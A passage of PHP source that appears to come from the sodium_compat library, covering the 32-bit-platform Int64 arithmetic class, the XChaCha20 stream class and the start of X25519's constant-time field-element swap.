        $return = new ParagonIE_Sodium_Core32_Int64(
            array($r0, $r1, $r2, $r3)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param int $b
     * @return int
     */
    public function compareInt($b = 0)
    {
        $gt = 0;
        $eq = 1;

        $i = 4;
        $j = 0;
        while ($i > 0) {
            --$i;
            /** @var int $x1 */
            $x1 = $this->limbs[$i];
            /** @var int $x2 */
            $x2 = ($b >> ($j << 4)) & 0xffff;
            /** int */
            $gt |= (($x2 - $x1) >> 8) & $eq;
            /** int */
            $eq &= (($x2 ^ $x1) - 1) >> 8;
        }
        return ($gt + $gt - $eq) + 1;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isGreaterThan($b = 0)
    {
        return $this->compareInt($b) > 0;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isLessThanInt($b = 0)
    {
        return $this->compareInt($b) < 0;
    }

    /**
     * @param int $hi
     * @param int $lo
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mask64($hi = 0, $lo = 0)
    {
        /** @var int $a */
        $a = ($hi >> 16) & 0xffff;
        /** @var int $b */
        $b = ($hi) & 0xffff;
        /** @var int $c */
        $c = ($lo >> 16) & 0xffff;
        /** @var int $d */
        $d = ($lo & 0xffff);
        return new ParagonIE_Sodium_Core32_Int64(
            array(
                $this->limbs[0] & $a,
                $this->limbs[1] & $b,
                $this->limbs[2] & $c,
                $this->limbs[3] & $d
            ),
            $this->unsignedInt
        );
    }

    /**
     * @param int $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     */
    public function mulInt($int = 0, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulIntFast($int);
        }
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        /** @var int $int */
        $int = (int) $int;
        /** @var int $size */
        $size = (int) $size;

        if (!$size) {
            $size = 63;
        }

        $a = clone $this;
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $ret2 = 0;
        $ret3 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $a2 = $a->limbs[2];
        $a3 = $a->limbs[3];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $mask = -($int & 1);
            $x0 = $a0 & $mask;
            $x1 = $a1 & $mask;
            $x2 = $a2 & $mask;
            $x3 = $a3 & $mask;

            $ret3 += $x3;
            $c = $ret3 >> 16;

            $ret2 += $x2 + $c;
            $c = $ret2 >> 16;

            $ret1 += $x1 + $c;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;
            $ret2 &= 0xffff;
            $ret3 &= 0xffff;

            $a3 = $a3 << 1;
            $x3 = $a3 >> 16;
            $a2 = ($a2 << 1) | $x3;
            $x2 = $a2 >> 16;
            $a1 = ($a1 << 1) | $x2;
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $a2 &= 0xffff;
            $a3 &= 0xffff;

            $int >>= 1;
        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        $return->limbs[2] = $ret2;
        $return->limbs[3] = $ret3;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $A
     * @param ParagonIE_Sodium_Core32_Int64 $B
     * @return array<int, ParagonIE_Sodium_Core32_Int64>
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedInferredReturnType
     */
    public static function ctSelect(
        ParagonIE_Sodium_Core32_Int64 $A,
        ParagonIE_Sodium_Core32_Int64 $B
    ) {
        $a = clone $A;
        $b = clone $B;
        /** @var int $aNeg */
        $aNeg = ($a->limbs[0] >> 15) & 1;
        /** @var int $bNeg */
        $bNeg = ($b->limbs[0] >> 15) & 1;
        /** @var int $m */
        $m = (-($aNeg & $bNeg)) | 1;
        /** @var int $swap */
        $swap = $bNeg & ~$aNeg;
        /** @var int $d */
        $d = -$swap;

        /*
        if ($bNeg && !$aNeg) {
            $a = clone $int;
            $b = clone $this;
        } elseif($bNeg && $aNeg) {
            $a = $this->mulInt(-1);
            $b = $int->mulInt(-1);
        }
         */
        $x = $a->xorInt64($b)->mask64($d, $d);
        return array(
            $a->xorInt64($x)->mulInt($m),
            $b->xorInt64($x)->mulInt($m)
        );
    }

    /**
     * @param array<int, int> $a
     * @param array<int, int> $b
     * @param int $baseLog2
     * @return array<int, int>
     */
    public function multiplyLong(array $a, array $b, $baseLog2 = 16)
    {
        $a_l = count($a);
        $b_l = count($b);
        /** @var array<int, int> $r */
        $r = array_fill(0, $a_l + $b_l + 1, 0);
        $base = 1 << $baseLog2;
        for ($i = 0; $i < $a_l; ++$i) {
            $a_i = $a[$i];
            for ($j = 0; $j < $a_l; ++$j) {
                $b_j = $b[$j];
                $product = (($a_i * $b_j) + $r[$i + $j]);
                $carry = (((int) $product >> $baseLog2) & 0xffff);
                $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff;
                $r[$i + $j + 1] += $carry;
            }
        }
        return array_slice($r, 0, 5);
    }

    /**
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mulIntFast($int)
    {
        // Handle negative numbers
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($int >> 31) & 1;
        $a = array_reverse($this->limbs);
        $b = array(
            $int & 0xffff,
            ($int >> 16) & 0xffff,
            -$bNeg & 0xffff,
            -$bNeg & 0xffff
        );
        if ($aNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        // Multiply
        $res = $this->multiplyLong($a, $b);

        // Re-apply negation to results
        if ($aNeg !== $bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $res[$i] = (0xffff ^ $res[$i]) & 0xffff;
            }
            // Handle integer overflow
            $c = 1;
            for ($i = 0; $i < 4; ++$i) {
                $res[$i] += $c;
                $c = $res[$i] >> 16;
                $res[$i] &= 0xffff;
            }
        }

        // Return our values
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs = array(
            $res[3] & 0xffff,
            $res[2] & 0xffff,
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 4) {
            $return->overflow = $res[4] & 0xffff;
        }
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $right
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function mulInt64Fast(ParagonIE_Sodium_Core32_Int64 $right)
    {
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($right->limbs[0] >> 15) & 1;

        $a = array_reverse($this->limbs);
        $b = array_reverse($right->limbs);
        if ($aNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 4; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        $res = $this->multiplyLong($a, $b);
        if ($aNeg !== $bNeg) {
            if ($aNeg !== $bNeg) {
                for ($i = 0; $i < 4; ++$i) {
                    $res[$i] = ($res[$i] ^ 0xffff) & 0xffff;
                }
                $c = 1;
                for ($i = 0; $i < 4; ++$i) {
                    $res[$i] += $c;
                    $c = $res[$i] >> 16;
                    $res[$i] &= 0xffff;
                }
            }
        }
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs = array(
            $res[3] & 0xffff,
            $res[2] & 0xffff,
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 4) {
            $return->overflow = $res[4];
        }
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int64 $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     */
    public function mulInt64(ParagonIE_Sodium_Core32_Int64 $int, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulInt64Fast($int);
        }
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        if (!$size) {
            $size = 63;
        }
        list($a, $b) = self::ctSelect($this, $int);

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $ret2 = 0;
        $ret3 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $a2 = $a->limbs[2];
        $a3 = $a->limbs[3];
        $b0 = $b->limbs[0];
        $b1 = $b->limbs[1];
        $b2 = $b->limbs[2];
        $b3 = $b->limbs[3];

        /** @var int $size */
        /** @var int $i */
        for ($i = (int) $size; $i >= 0; --$i) {
            $mask = -($b3 & 1);
            $x0 = $a0 & $mask;
            $x1 = $a1 & $mask;
            $x2 = $a2 & $mask;
            $x3 = $a3 & $mask;

            $ret3 += $x3;
            $c = $ret3 >> 16;

            $ret2 += $x2 + $c;
            $c = $ret2 >> 16;

            $ret1 += $x1 + $c;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;
            $ret2 &= 0xffff;
            $ret3 &= 0xffff;

            $a3 = $a3 << 1;
            $x3 = $a3 >> 16;
            $a2 = ($a2 << 1) | $x3;
            $x2 = $a2 >> 16;
            $a1 = ($a1 << 1) | $x2;
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $a2 &= 0xffff;
            $a3 &= 0xffff;

            $x0 = ($b0 & 1) << 16;
            $x1 = ($b1 & 1) << 16;
            $x2 = ($b2 & 1) << 16;

            $b0 = ($b0 >> 1);
            $b1 = (($b1 | $x0) >> 1);
            $b2 = (($b2 | $x1) >> 1);
            $b3 = (($b3 | $x2) >> 1);

            $b0 &= 0xffff;
            $b1 &= 0xffff;
            $b2 &= 0xffff;
            $b3 &= 0xffff;

        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        $return->limbs[2] = $ret2;
        $return->limbs[3] = $ret3;

        return $return;
    }

    /**
     * OR this 64-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function orInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] | $b->limbs[0]),
            (int) ($this->limbs[1] | $b->limbs[1]),
            (int) ($this->limbs[2] | $b->limbs[2]),
            (int) ($this->limbs[3] | $b->limbs[3])
        );
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 3;
            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            for ($i = 3; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i + $idx_shift) & 3;
                /** @var int $k */
                $k = ($i + $idx_shift + 1) & 3;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) << $sub_shift)
                            |
                        ((int) ($myLimbs[$k]) >> (16 - $sub_shift))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * Rotate to the right
     *
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        /** @var ParagonIE_Sodium_Core32_Int64 $return */
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 3;
            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            for ($i = 3; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i - $idx_shift) & 3;
                /** @var int $k */
                $k = ($i - $idx_shift - 1) & 3;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) >> (int) ($sub_shift))
                            |
                        ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift)))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }
    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;

        if ($c >= 16) {
            if ($c >= 48) {
                $return->limbs = array(
                    $this->limbs[3], 0, 0, 0
                );
            } elseif ($c >= 32) {
                $return->limbs = array(
                    $this->limbs[2], $this->limbs[3], 0, 0
                );
            } else {
                $return->limbs = array(
                    $this->limbs[1], $this->limbs[2], $this->limbs[3], 0
                );
            }
            return $return->shiftLeft($c & 15);
        }
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftRight(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $carry */
            $carry = 0;
            for ($i = 3; $i >= 0; --$i) {
                /** @var int $tmp */
                $tmp = ($this->limbs[$i] << $c) | ($carry & 0xffff);
                $return->limbs[$i] = (int) ($tmp & 0xffff);
                /** @var int $carry */
                $carry = $tmp >> 16;
            }
        }
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        $c = (int) $c;
        /** @var int $c */
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;

        $negative = -(($this->limbs[0] >> 15) & 1);
        if ($c >= 16) {
            if ($c >= 48) {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0]
                );
            } elseif ($c >= 32) {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0],
                    (int) $this->limbs[1]
                );
            } else {
                $return->limbs = array(
                    (int) ($negative & 0xffff),
                    (int) $this->limbs[0],
                    (int) $this->limbs[1],
                    (int) $this->limbs[2]
                );
            }
            return $return->shiftRight($c & 15);
        }

        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            return $this->shiftLeft(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $carryRight */
            $carryRight = ($negative & 0xffff);
            $mask = (int) (((1 << ($c + 1)) - 1) & 0xffff);
            for ($i = 0; $i < 4; ++$i) {
                $return->limbs[$i] = (int) (
                    (($this->limbs[$i] >> $c) | ($carryRight << (16 - $c))) & 0xffff
                );
                $carryRight = (int) ($this->limbs[$i] & $mask);
            }
        }
        return $return;
    }


    /**
     * Subtract a normal integer from an int64 object.
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public function subInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        $int = (int) $int;

        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $carry */
        $carry = 0;
        for ($i = 3; $i >= 0; --$i) {
            /** @var int $tmp */
            $tmp = $this->limbs[$i] - (($int >> 16) & 0xffff) + $carry;
            /** @var int $carry */
            $carry = $tmp >> 16;
            $return->limbs[$i] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * The difference between two Int64 objects.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function subInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        /** @var int $carry */
        $carry = 0;
        for ($i = 3; $i >= 0; --$i) {
            /** @var int $tmp */
            $tmp = $this->limbs[$i] - $b->limbs[$i] + $carry;
            /** @var int $carry */
            $carry = ($tmp >> 16);
            $return->limbs[$i] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * XOR this 64-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int64 $b
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function xorInt64(ParagonIE_Sodium_Core32_Int64 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] ^ $b->limbs[0]),
            (int) ($this->limbs[1] ^ $b->limbs[1]),
            (int) ($this->limbs[2] ^ $b->limbs[2]),
            (int) ($this->limbs[3] ^ $b->limbs[3])
        );
        return $return;
    }

    /**
     * @param int $low
     * @param int $high
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInts($low, $high)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($high, 'int', 2);

        $high = (int) $high;
        $low = (int) $low;
        return new ParagonIE_Sodium_Core32_Int64(
            array(
                (int) (($high >> 16) & 0xffff),
                (int) ($high & 0xffff),
                (int) (($low >> 16) & 0xffff),
                (int) ($low & 0xffff)
            )
        );
    }

    /**
     * @param int $low
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInt($low)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($low, 'int', 1);
        $low = (int) $low;

        return new ParagonIE_Sodium_Core32_Int64(
            array(
                0,
                0,
                (int) (($low >> 16) & 0xffff),
                (int) ($low & 0xffff)
            )
        );
    }

    /**
     * @return int
     */
    public function toInt()
    {
        return (int) (
            (($this->limbs[2] & 0xffff) << 16)
                |
            ($this->limbs[3] & 0xffff)
        );
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) {
            throw new RangeException(
                'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int64();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff);
        $return->limbs[2]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff) << 8);
        $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff);
        $return->limbs[3]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff) << 8);
        $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff);
        return $return;
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromReverseString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 8) {
            throw new RangeException(
                'String must be 8 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int64();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[7]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[6]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[5]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[4]) & 0xff);
        $return->limbs[2]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8);
        $return->limbs[2] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff);
        $return->limbs[3]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8);
        $return->limbs[3] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff);
        return $return;
    }

    /**
     * @return array<int, int>
     */
    public function toArray()
    {
        return array(
            (int) ((($this->limbs[0] & 0xffff) << 16) | ($this->limbs[1] & 0xffff)),
            (int) ((($this->limbs[2] & 0xffff) << 16) | ($this->limbs[3] & 0xffff))
        );
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function toInt32()
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs[0] = (int) ($this->limbs[2]);
        $return->limbs[1] = (int) ($this->limbs[3]);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = (int) (ParagonIE_Sodium_Core32_Util::abs($this->limbs[1], 16) & 0xffff);
        return $return;
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function toInt64()
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->limbs[0] = (int) ($this->limbs[0]);
        $return->limbs[1] = (int) ($this->limbs[1]);
        $return->limbs[2] = (int) ($this->limbs[2]);
        $return->limbs[3] = (int) ($this->limbs[3]);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = ParagonIE_Sodium_Core32_Util::abs($this->overflow);
        return $return;
    }

    /**
     * @param bool $bool
     * @return self
     */
    public function setUnsignedInt($bool = false)
    {
        $this->unsignedInt = !empty($bool);
        return $this;
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff);
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toReverseString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[3] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[3] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[2] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[2] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff);
    }

    /**
     * @return string
     */
    public function __toString()
    {
        try {
            return $this->toString();
        } catch (TypeError $ex) {
            // PHP engine can't handle exceptions from __toString()
            return '';
        }
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_XChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_XChaCha20
 */
class ParagonIE_Sodium_Core32_XChaCha20 extends ParagonIE_Sodium_Core32_HChaCha20
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_X25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_X25519
 */
abstract class ParagonIE_Sodium_Core32_X25519 extends ParagonIE_Sodium_Core32_Curve25519
{
    /**
     * Alters the objects passed to this method in place.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @param int $b
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_cswap(
        ParagonIE_Sodium_Core32_Curve25519_Fe $f,
        ParagonIE_Sodium_Core32_Curve25519_Fe $g,
        $b = 0
    ) {
        $f0 = (int) $f[0]->toInt();
        $f1 = (int) $f[1]->toInt();
        $f2 = (int) $f[2]->toInt();
        $f3 = (int) $f[3]->toInt();
        $f4 = (int) $f[4]->toInt();
        $f5 = (int) $f[5]->toInt();
        $f6 = (int) $f[6]->toInt();
        $f7 = (int) $f[7]->toInt();
        $f8 = (int) $f[8]->toInt();
        $f9 = (int) $f[9]->toInt();
        $g0 = (int) $g[0]->toInt();
        $g1 = (int) $g[1]->toInt();
        $g2 = (int) $g[2]->toInt();
        $g3 = (int) $g[3]->toInt();
        $g4 = (int) $g[4]->toInt();
        $g5 = (int) $g[5]->toInt();
        $g6 = (int) $g[6]->toInt();
        $g7 = (int) $g[7]->toInt();
        $g8 = (int) $g[8]->toInt();
        $g9 = (int) $g[9]->toInt();
        $b = -$b;
        /** @var int $x0 */
        $x0 = ($f0 ^ $g0) & $b;
        /** @var int $x1 */
        $x1 = ($f1 ^ $g1) & $b;
        /** @var int $x2 */
        $x2 = ($f2 ^ $g2) & $b;
        /** @var int $x3 */
        $x3 = ($f3 ^ $g3) & $b;
        /** @var int $x4 */
        $x4 = ($f4 ^ $g4) & $b;
        /** @var int $x5 */
        $x5 = ($f5 ^ $g5) & $b;
        /** @var int $x6 */
        $x6 = ($f6 ^ $g6) & $b;
        /** @var int $x7 */
        $x7 = ($f7 ^ $g7) & $b;
        /** @var int $x8 */
        $x8 = ($f8 ^ $g8) & $b;
        /** @var int $x9 */
        $x9 = ($f9 ^ $g9) & $b;
        $f[0] = ParagonIE_Sodium_Core32_Int32::fromInt($f0 ^ $x0);
        $f[1] = ParagonIE_Sodium_Core32_Int32::fromInt($f1 ^ $x1);
        $f[2] = ParagonIE_Sodium_Core32_Int32::fromInt($f2 ^ $x2);
        $f[3] = ParagonIE_Sodium_Core32_Int32::fromInt($f3 ^ $x3);
        $f[4] = ParagonIE_Sodium_Core32_Int32::fromInt($f4 ^ $x4);
